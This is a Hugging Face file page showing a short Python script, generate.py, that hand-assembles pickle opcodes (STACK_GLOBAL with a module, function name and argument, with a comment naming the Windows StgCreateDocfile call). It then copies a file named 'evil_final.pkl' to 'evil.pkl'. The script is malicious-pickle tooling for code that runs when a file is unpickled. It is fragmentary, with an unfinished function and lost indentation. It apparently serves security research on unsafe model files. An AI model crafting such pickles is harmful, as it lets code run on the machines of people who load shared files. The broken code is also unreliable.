AeonAIRisk's picture
Upload generate.py with huggingface_hub
560658a verified
Raw
History Blame Contribute Delete
793 Bytes
import pickle, io
from pathlib import Path
dst = Path(r'C:/Users/uozer/AppData/Local/Temp/opencode/w51_StgCreateDocfile')
def mr(mod,name,*args):
b=io.BytesIO(); b.write(pickle.PROTO+bytes([4]))
def su(s):
e=s.encode(); return pickle.SHORT_BINUNICODE+bytes([len(e)])+e if len(e)<256 else pickle.BINUNICODE+__import__('struct').pack('<I',len(e))+e
b.write(su(mod)); b.write(su(name)); b.write(pickle.STACK_GLOBAL)
b.write(su(args[0])); b.write(pickle.BININT1 + bytes([0]) if False else b'')
# StgCreateDocfile(path, mode, reserved) - match existing pickle: just path?
# Use existing evil_final as source of truth - regenerate by copying
open('evil.pkl','wb').write(Path('evil_final.pkl').read_bytes())
print('copied evil_final -> evil.pkl')